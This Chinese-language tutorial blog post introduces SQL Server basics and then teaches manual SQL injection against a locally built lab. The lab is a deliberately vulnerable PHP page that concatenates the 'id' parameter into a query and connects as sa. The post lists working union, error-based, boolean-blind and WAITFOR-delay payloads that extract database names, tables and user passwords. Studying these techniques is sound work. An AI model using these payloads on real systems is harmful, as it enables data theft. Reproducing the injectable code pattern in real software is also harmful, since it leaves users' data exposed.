目录
前言
一、SQL Server基础
1. SQL Server 2012安装启动
navicat远程连接
2. SQL Server概念
数据库的组成
数据库中常用对象
默认库介绍
3. T-SQL语言
创建数据库
创建表
插入数据
基础语法总结
4. sqlserver权限
新建用户并赋予权限
权限总结
二、Sqlserver手工注入
环境搭建
注入手法
1. 联合查询
2. 报错注入
3. 布尔盲注
4. 延时注入
三、SQlserver提权
前言
本文详细的介绍了Sql Server安全基础,包括环境搭建,T-sql语法,sqlserver用户权限,以及sqlserver注入的方法和提权方式。
Microsoft SQL Server(微软结构化查询语言服务器),也叫Mssql,是由美国微软公司所推出的关系型数据库。默认端口号为1433
常见版本如下
版本 |
年份 |
发布名称 |
8.0 |
2000年 |
SQL Server 2000 |
8.0 |
2003年 |
SQL Server 2000 64-bit版本 |
9.0 |
2005年 |
SQL Server 2005 |
10.0 |
2008年 |
SQL Server 2008 |
10.25 |
2009年 |
SQL Azure |
10.50 |
2010年 |
SQL Server 2008 R2 |
11.0 |
2012年 |
SQL Server 2012 |
12.0 |
2014年 |
SQL Server 2014 |
13.0 |
2016年 |
SQL Server 2016 |
14.0 |
2017/09/29 |
SQL Server 2017 |
15.0 |
2019/11/4 |
SQL Server 2019 |
Mssql常用场景
- 学校
- 政府
- OA
- 棋牌游戏
- 人事考试网站
常见搭配:asp/aspx+sqlserver
一、SQL Server基础
1. SQL Server 2012安装启动
- win2012
- sqlserver 2012
安装
下载地址:MSDN, 我告诉你 - 做一个安静的工具站,如下复制下载链接,使用迅雷打开进行下载
下载到99.99%的时候可能会卡主,不要点击暂停再继续下载,这样可能会导致文件损坏安装不了。稍等一会让它自动下载完成。下载完后计算一下sha1值,看是否文件破损
certutil -hashfile cn_sql_server_2012_enterprise_core_edition_with_sp1_x64_dvd_1234496.iso sha1
接下来可以进行安装,整个安装过程还是比较简单,可参考:SQL Server 2012 安装教程_柚子君.的博客-CSDN博客_sqlserver2012安装教程
这里我使用的混合模式进行身份验证
启动
开始-搜索 " ssms",然后双击“Microsoft SQL Server Management Studio”
其中服务器名称如果是在本地登录则可以输:127.0.0.1,localhost,. ,计算机名。远程登录则输:服务器ip,端口。
输入账号 sa ,密码为安装时设定的,点击连接
如下,成功连接
navicat远程连接
- 版本:Navicat Premium16
sqlserver 2012安装完后就默认允许远程连接
主机填写 ip,端口
Navicat并没有初始化安装sqlncli, 所以连接的时候会报没有默认驱动,点击是进行安装
安装之后就能正常连接了
2. SQL Server概念
数据库的组成
如下,我们新建一个数据库,右键新建数据库
输入数据库名称,然后改下数据库文件的存储路径
新建完后,能看到多出来了两个文件
在sqlserver中:
- 数据库以文件的形式存在
- 数据库由文件和文件组组成
数据库文件
- 主要数据文件:存放数据和数据库的初始化信息。每个数据库有且只能有一个主要数据文件。.mdf结尾
- 次要数据文件:存放除了主要数据文件以外的所有数据文件。次要数据文件不是必须的,可以没有。如果有的话,可以是一个,也可以有多个。.ndf扩展名
- 事务日志文件:存放用户回复数据库的所有日志信息。每个数据库至少要有一个日志文件,也可以有多个。.ldf结尾
文件组
文件组:是数据库文件的一种逻辑管理单位,它将数据库文件分成不同的文件组,方便对文件的分配和管理。分为两种类型
- 主文件组 Primary :主要数据文件和没有明确指派给其他文件组的文件。
- 用户自定义的文件组:Create DataBase或 alter database 语句,fileGroup关键字指定的文件组
设计原则:
- 文件只能是一个文件组的成员
- 文件或文件组不能由一个以上的数据库使用
- 白志不能作为文件组的一部分。
数据库中常用对象
在一个数据库中又存在很多类似菜单栏一样的东西,我们可以称为数据库中的对象
在数据库中新建表,如下,然后输入表的字段名,ctrl+s保存然后输入表的名字“student”
然后刷新
就可以看到刚才新建的表,dbo.表名
数据库中的常用对象含义如下:
- 表:包含数据库中所有数据的对象,行和列组成。用于组织和存储数据。
- 字段:表中的列,一个表可以有多个列。数据类型(决定了该字段存储哪种类型的数据),大小(长度)
- 视图:表(虚拟表)一张或多张表中导出的表,用户查看数据的一种方式,结构和数据是建立在对表的查询基础之上的。
- 索引:为了给用户提供一种快速访问数据的途径,索引是依赖于表而建立,检索数据时,不用对整个表进行扫描,可以快速找到所需的数据。
- 存储过程:是一组为了完成特定功能的SQL语句的集合(可以有查询、插入、修改、删除),编译后,存储在数据库中,以名称进行调用,当调用执行时,这些操作就会被执行。
- 触发器:在数据库中,属于用户定义的SQL事务命令集合,针对于表来说,当对表执行增删改操作时命令就会自动触发而去执行。
- 约束:对数据表的列,进行的一种限制。可以更好的规范表中的列。
- 缺省值:对表中的列可以指定一个默认值,当进行插入时,如果没有为这个列插入值,那么就会自动以预先设置默认值进行自动补充。
默认库介绍
SQLServer数据库有6个默认的库,分别是4个系统数据库:master 、model 、msdb 、tempdb,和2个实例数据库:ReportServer、ReportServerTempDB。
- master数据库:master数据库控制SQL Server的所有方面。这个数据库中包括所有的配置信息、用户登录信息、当前正在服务器中运行的过程的信息。
- model数据库:model数据库是建立所有用户数据库时的模板。当你建立一个新数据库时,SQL Server会把model数据库中的所有对象建立一份拷贝并移到新数据库中。在模板对象被拷贝到新的用户数据库中之后,该数据库的所有多余空间都将被空页填满。
- msdb数据库:msdb数据库是SQL Server中的一个特例。如果你查看这个数据库的实际定义,会发现它其实是一个用户数据库。不同之处是SQL Server拿这个数据库来做什么。所有的任务调度、报警、操作员都存储在msdb数据库中。该库的另一个功能是用来存储所有备份历史。SQL Server Agent将会使用这个库。
- tempdb数据库:tempdb数据库是一个非常特殊的数据库,供所有来访问你的SQL Server的用户使用。这个库用来保存所有的临时表、存储过程和其他SQL Server建立的临时用的东西。例如,排序时要用到tempdb数据库。数据被放进tempdb数据库,排完序后再把结果返回给用户。每次SQL Server重新启动,它都会清空tempdb数据库并重建。永远不要在tempdb数据库建立需要永久保存的表。
3. T-SQL语言
在mysql中使用sql对数据库进行操作,而在sqlserver中使用的是Transaction-SQL,简称T-SQL。T-SQL是在sql基础之上的一种数据库编程语言
创建数据库
- 用T-sql新建一个名为TestNewBase的数据库,语句如下
use master
--创建数据库
create database TestNewBase
on primary --主文件组
(
name='TestNewBase', --数据库主要数据文件的名字(逻辑名称)
filename='C:\DB\TestNewBase.mdf',
size=5MB, --数据库主要文件的初始大小
filegrowth=1MB --文件的增量
)
log on --创建日志文件
(
name='TestNewBase_log', --数据库日志文件的名字
filename='C:\DB\TestNewBase_log.mdf',
size=1MB, --数据日志文件的初始大小
filegrowth=10% --日志文件的增量
)
go --执行语句
这个过程其实和图形化新建数据库是一样的
创建新的数据库为什么要 use master?
master:系统数据库,它记录了SOL Server系统的所有系统级信息,还记录了所有其他数据库文件的位置,及SQL Server的初始化信息等。
创建表
在TestNewBase中新建两张表,新建表的时候要同时指明字段信息
use TestNewBase
--新建表
create table ProductInfos
(
id int identity(1,1) primary key not null, --identity(1,1) 从1开始编号,设置为主键
ProNo varchar(50) not null,
ProName nvarchar(50) not null,
TypeId int not null,
Price decimal(18,2) null,
ProCount int null
)
create table ProductType
(
TypeId int identity(1,1) primary key not null,
TypeName nvarchar(50) not null
)
go
插入数据
使用insert在users表中插入数据
use TestDB
-- inseret (into) 表名(列名,列名,列名...) values (值,值...)
insert into users(id,name,age) values ('1','wgy','18')
--或者
-- inseret into 表名(列名,列名,列名...) select 值,值...
insert into users(id,name,age) select 2,'xcc',20
以窗口的形式查看表中的数据
基础语法总结
- T-sql和sql一样,单词不区分大小写
- 注释符: -- 和 /*......*/
- 语句不强制以分号结尾
数据操作类
select --查询 insert --插入 DELETE --删除 UPDATE --更新
数据定义类
create table --创建表 drop table --删除表 alert table --修改表结构
create database xx --新建数据库
USE master;drop DATABASE Testdb --删除数据库
1. 查询所有数据库
Select Name FROM Master.dbo.SysDatabases orDER BY Name
--或者
select * from sys.databases; --很详细的输出
--查询当前数据库名
select db_name()
2. 获取当前数据库所有表名
Select Name FROM SysObjects Where XType='U' orDER BY Name
--XType='U':表示所有用户表;
--XType='S':表示所有系统表;
3. 获取表中所有字段名
Select Name FROM SysColumns Where id=Object_Id('users');
4. 查询表中的所有数据
select * from users
4. sqlserver权限
sqlserver中的权限控制被分成服务器和数据库两个级别,一个服务器可以包含多个数据库。
服务器级别的权限可以让我们控制登录、服务器资源操作等,而数据库级别的权限可以让我们对具体的表/视图/数据等数据库内资源进行操作控制。
- 在服务器级别,SQL server为我们提供了:服务器角色、登录名和安全对象。
服务器默认有10个登录名(安装时选择的功能不同,数量也会有差别),其中sa默认拥有服务器角色sysadmin(最高权限)和public。(可以把角色理解为权限的集合,如windows中的组)
- 在数据库级别,SQL server为我们提供了:数据库角色、用户名、架构和安全对象。
新建一个数据库默认拥有10个角色,其中public角色是每个数据库用户必须拥有的,不可撤销;db_owner角色表示数据库的拥有者(默认被dbo账户拥有),对这个数据库拥有至高的权力,相当于服务器角色中的sysadmin。
新建一个数据库,默认拥有四个用户,其中dbo账户拥有数据库角色db_owner,也就是说拥有了数据库的至高操作权力
当我们进行远程连接sqlserver时,需要提供服务器级别的登录名来登录到服务器,如下面的sa用户
新建用户并赋予权限
如何给服务器新建一个类似于sa的用户了?
设置登录名
选择服务器角色,授予用户权限,这里选择和sa用户一样的角色,这样就拥有管理员权限
接着就可以使用该用户进行登录了
权限总结
在渗透测试中我们关注的是sqlserver服务器级别的权限,可以把权限简单的归个类:
- sa权限:即服务器角色sysadmin。拥有数据库操作,文件管理,命令执行,注册表读取等权限。SQLServer数据库的最高权限
- db权限:文件管理,数据库操作等权限 users-administrators
- public权限:数据库操作 guest-users
判断当前用户权限
--判断是否是SA权限
select is_srvrolemember('sysadmin')
--判断是否是db_owner权限
select is_member('db_owner')
--判断是否是public权限
select is_srvrolemember('public')
二、Sqlserver手工注入
sqlServer注入也叫MSSQL注入,是最为复杂的数据库攻击技术,由于该数据库功能十分强大,存储过程以及函数语句十分丰富,这些灵活的语句造就了新颖的攻击思路。
对于mssql的一个注入点我们往往最关心的这个注入点的权限问题,是sa、db_owner还是public;其次是这个注点是否显错,注释语句是否可用,例如sql server中注释符“--”;还有就是注入点是什么类型的,是字符型注入,还是数字型注入。
select @@version --查询数据库的版本
select host_name() --查询主机名,如果是用navicat远程连接的话,主机名是本地的名字
select db_name() --查询当前数据库名
select db_name(1) --查询第一个数据库名
select db_name(2) --查询第二个数据库名,前6个数据库为默认库
select user --查询当前数据库的拥有者,结果为 dbo。dbo是每个数据库的默认用户,具有所有者权限,全称:datebaseOwner ,即DbOwner
--判断是否是SA权限
select is_srvrolemember('sysadmin')
--判断是否是db_owner权限
select is_member('db_owner')
--判断是否是public权限
select is_srvrolemember('public')
环境搭建
为什么这里推荐手动搭建环境而不用在线靶机了?因为自己搭建的环境更加有利于自身对sqlserver注入漏洞的理解。
实验环境:
- sqlserver 2012
- phpstudy2018,php5.6.27(为了方便使用php语言,asp语言有点麻烦)
1. 在sqlserver中新建数据库和表
--第一步
use master
create database News
--第二步
use News
create table sys
(
uid int primary key not null,
name nvarchar(50) not null,
age nvarchar(50) not null
)
create table Users
(
id int primary key not null,
username nvarchar(50) not null,
passwd nvarchar(50) not null
)
insert into users(id,username,passwd) values ('1','alice','18')
insert into users(id,username,passwd) values ('2','wgy','18')
insert into users(id,username,passwd) values ('3','alun','17')
go
2. phpstudy添加sqlsrv扩展
下载:Download Microsoft Drivers for PHP for SQL Server from Official Microsoft Download Center
右键解压得出下面的dll文件,因为我的php版本是5.6,所以将如下两个dll文件复制到 “phpStudy\PHPTutorial\php\php-5.6.27-nts"中
并在php.ini中添加如下两行
extension=php_sqlsrv_56_nts.dll
extension=php_pdo_sqlsrv_56_nts.dll
- 安装ODBC Driver
ODBC Driver 下载 https://files.cnblogs.com/files/wtcl/sqlserverodbc.zip
电脑是64位的则安装64位的。
最后重启phpstudy,查看phpinfo,如果存在如下扩展则说明安装成功
3. 在www目录下添加一个php文件,源码如下:
<?php
header("Content-Type:text/html;charset=gbk");
$conn = sqlsrv_connect('127.0.0.1', array('Database' => 'News', 'UID' => 'sa' , 'PWD' => 'Sqlserver123'));
if($conn == false){
var_dump(sqlsrv_errors());exit;
}
$id = $_GET["id"];
$sql = "SELECT * FROM Users where id = $id";
echo "SQL Server injection exercise!"."<br/>"."<br/>";
echo "sql: ".$sql;
echo "<hr>";
$result = sqlsrv_query($conn, $sql);
var_dump(sqlsrv_errors());
echo "<hr>";
if ( $re = sqlsrv_fetch_array($result)) {
echo $re['username']."\t".$re['passwd'];
}
?>
到此,环境搭建完成,开始手工注入学习!
注入手法
总的来说和mysql注入的方法差不多,差别在于一些函数的不同
1. 联合查询
MSSQL的系统自带库–>master。其实在每个网站中,一般一个网站不会跨库,而在MSSQL中每个库都有一个系统自带表–>sysobjects
此系统表中对我们有用的只有3个字段,NAME字段和XTYPE字段和ID字段。name就是表名信息。xtype是代表表的类型,只有两个参数,S代表系统自带表,U代表用户创建的表。id字段的值用来连接syscolumns表
top关键字:由于MSSQL中不存在limit,那么想要输出一条数据怎么办呢,直接top 1,输出两条数据top 2
1. 判断是否是mssql
mssql.php?id=1 and exists(select * from sysobjects) --+
返回正常,说明网站使用的数据库是Mssql!
2. 判断字段长度
mssql.php?id=1 order by 3--+ --正常
mssql.php?id=1 order by 4--+ --报错
order by 3返回正常,说明字段长度是3!
3. 寻找字符串显示位
mssql.php?id=-1 union all select 11,22,33 --+
如下两个显示位可以利用
4. 查询相关信息
@@version-:获取版本信息
db_name():数据库名字
获取当前数据库名
mssql.php?id=-1 union all select 11,22,db_name() --+
5. 查询表名
将获取到的数据库名与.sys.sysobjects拼接
mssql.php?id=-1 union all select 11,22,(select top 1 name from News.dbo.sysobjects where xtype='u')
查询出了第一个表名Users
然后查第二个,如果想显示更多数据再在后面加and name != '第一次输出中的表名'以此类推
mssql.php?id=-1 union all select 11,22,(select top 1 name from News.dbo.sysobjects where xtype='u' and name !='Users') --
6. 获取列名
?id=-1 union all select 11,22,(select top 1 col_name(object_id('users'),1) from sysobjects) --
--col_name 是查询的列名,object_id('manage')是从manage这个表里查询,1 代表的是查询第一个列名。查询第2列则将1改为2
这样查询出了列为 id username passwd
7. 获取数据
获取username字段的数据
--获取username第一行的值
?id=-1 union all select 11,22, (select top 1 username from users) --
--获取username第二行的值
?id=-1 union all select 11,22, (select top 1 username from users where id=2)
--获取username第三行的值--
?id=-1 union all select 11,22, (select top 1 username from users where id=3) --
得到username值:alice wgy alun
以同样的方式获取passwd值
?id=-1 union all select 11,22, (select top 1 passwd from users) --
?id=-1 union all select 11,22, (select top 1 passwd from users where id=2) --
......
这样数据库中的信息通过联合查询注入就都获取到了!
2. 报错注入
mssql数据库是强类型语言数据库,当类型不一致时将会报错,配合子查询即可实现报错注入。
对于报错注入,这里会使用到,convert()函数,CONVERT()函数是把⽇期转换为新数据类型的通⽤函数。
语法:
CONVERT(data_type(length),data_to_be_converted,style)
--注释 :
data_type(length) 转换为⽬标数据类型(带有可选的长度)。
data_to_be_converted 含有需要转换的值。
style 规定⽇期/时间的输出格式。
示例
select CONVERT(VARCHAR(19),GETDATE())
select CONVERT(VARCHAR(10),GETDATE(),110)
select CONVERT(VARCHAR(11),GETDATE(),106)
select CONVERT(VARCHAR(24),GETDATE(),113)
结果类似
Dec 29 2008 11:45 PM 12-29-2008 29 Dec 08 29 Dec 2008 16:25:46.635
故,对于 convert(int,@@version),convert 函数⾸先会执⾏第⼆个参数指定的SQL查询,然后尝试将查询结果转换为int类型。但是,由于这个SQL查询的结果是varchar类型,⽆法进⾏指定的转换,所以,convert函数会抛出 ⼀个SQL server错误消息,指出“SQL查询结果”⽆法转换为“int”类型,这样的话,攻击者就能得到这个SQL查询的结果了。
满⾜条件的函数还有很多:
convert()
file_name()
db_name()
col_name()
filegroup_name()
object_name()
schema_name()
type_name()
cast()
convert()函数
- 查询基本信息
convert(int,@@version) 获取版本信息
convert(int,db_name()) 数据库名字
convert(int,user) 当前⽤户名
convert(int,@@SERVERNAME) 获取有关服务器主机的信息
获取当前数据库
mssql.php?id=2 and 1=convert(int,db_name()) --
--或者
mssql.php?id=convert(int,db_name()) --
--或者
mssql.php?id=1 and 1=convert(int,db_name(0)) -- --查询当前数据库
mssql.php?id=1 and 1=convert(int,db_name(1)) -- --查询第二个数据库,以此类推
或者同时将所有数据库爆出来
mssql.php?id=1 and 1=convert(int,stuff((select quotename(name) from sys.databases for xml path('')),1,0,''))--
1. 爆表名
mssql.php?id=1 and 1=CONVERT(int,(select top 1 table_name from information_schema.columns)) --
得出Users表
同时爆News中的所有表
mssql.php?id=1 and 1=convert(int,stuff((select quotename(name) from news.sys.objects where type='U' for xml path('')),1,0,'')) --
得出表:Users manage sys
2. 爆字段
爆news数据库Users表中的所有字段
mssql.php?id=1 and 1=convert(int,stuff((select quotename(name) from news.sys.columns where object_id=object_id('users') for xml path('')),1,0,'')) --
3. 爆数据
爆Users表中username字段的所有数据
mssql.php?id=1 and 1=convert(int,stuff((select quotename(username) from users for xml path('')),1,0,''))--
爆Users表中passwd字段的所有数据
mssql.php?id=1 and 1=convert(int,stuff((select quotename(passwd) from users for xml path('')),1,0,''))--
cast()函数
--获取当前数据库名
?id=1 and 1=(select cast(db_name() as int)) --
直接报错
等号两边数据类型不一致配合子查询获取数据。
1. 获取当前数据库名
mssql.php?id=1 and 1=(select db_name()) --
2. 获取所有数据库
?id=1 and 1=(stuff((select quotename(name) from sys.databases for xml path('')),1,0,'')) --
3. 获取库中的所有表
?id=1 and 1=(stuff((select quotename(name) from news.sys.objects where type='U' for xml path('')),1,0,'')) --
4. 获取表中的所有字段
?id=1 and 1=(stuff((select quotename(name) from news.sys.columns where object_id=object_id('users') for xml path('')),1,0,'')) --
5. 获取所有数据
获取Users表中username字段的所有数据
?id=1 and 1=(stuff((select quotename(username) from users for xml path('')),1,0,'')) --
3. 布尔盲注
如果不能直接通过页面查看到数据库返回的信息,页面根据用户的输入只回显两种状态true和false,则可以通过构造逻辑判断(比较大小)来得到需要的信息
1. 判断是否存在盲注
和mysql盲注一样,先如下测试,看是否存在布尔盲注
and 1=1-- --正常显示
and 1=2-- --不正常
2. 猜测当前数据库名长度
/mssql.php?id=2 and len((select db_name()))=3 -- --数据库名长度为3个字符,页面不显示
/mssql.php?id=2 and len((select db_name()))=4 -- --数据库名长度为4个字符,页面正常显示
所以数据库名长度为4个字符
3. 获取当前数据库名
查询数据库名第一个字符的ascii码为78,对应字母N
?id=2 and ascii(substring((select db_name()),1,1))>78 --
?id=2 and ascii(substring((select db_name()),1,1))=78 --
查询数据库名第二个字符的ascii码为78,对应字母e
?id=2 and ascii(substring((select db_name()),2,1))>101 -- --false
?id=2 and ascii(substring((select db_name()),2,1))=101 -- --true
按照同样的方法获取到数据库名为“News”
4. 延时注入
延时函数:WAITFOR DELAY
WAITFOR是SQL Server中Transact-SQL提供的⼀个流程控制语句。它的作⽤就是等待特定时间,然后继续执⾏后续的语句。它包含⼀个参数DELAY,⽤来指定等待的时间。
如果将该语句成功注⼊后,会造成数据库返回记录和 Web请求也会响应延迟特定的时间。由于该语句不涉及条件判断等情况,所以容易注⼊成功。根据Web请求是否有延迟,渗透测试⼈员就可以判断⽹站是否存在注⼊漏洞。同时,由于该语句并不返回特定内容,所以它也是盲注的重要检测⽅法。
语法:
WAITFOR DELAY '0:0:n' -- 表⽰延迟n秒
1. 判断是否存在注入
?id=2 WAITFOR DELAY '0:0:5' --
2. 猜测当前数据库名长度
?id=2 if (len((select db_name()))=4) WAITFOR DELAY '0:0:4' --数据库长度为4字符则延时4s
3. 猜测数据库名
查询数据库名第一个字符的ascii码为78,对应字母N
?id=2 if (ascii(substring((select top 1 db_name()),1,1))=78) WAITFOR DELAY '0:0:4' --延时响应4s
其实这过程和布尔盲注类似,可以完全套用布尔盲注中的测试语句,将其中的and去了,然后再在后面的语句外面套一个if ()语句就行。文章来源:https://www.toymoban.com/news/detail-473553.html
三、SQlserver提权
详看:SQlserver提权方法_山山而川'的博客文章来源地址https://www.toymoban.com/news/detail-473553.html
到了这里,关于SQL Server手工注入方式的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!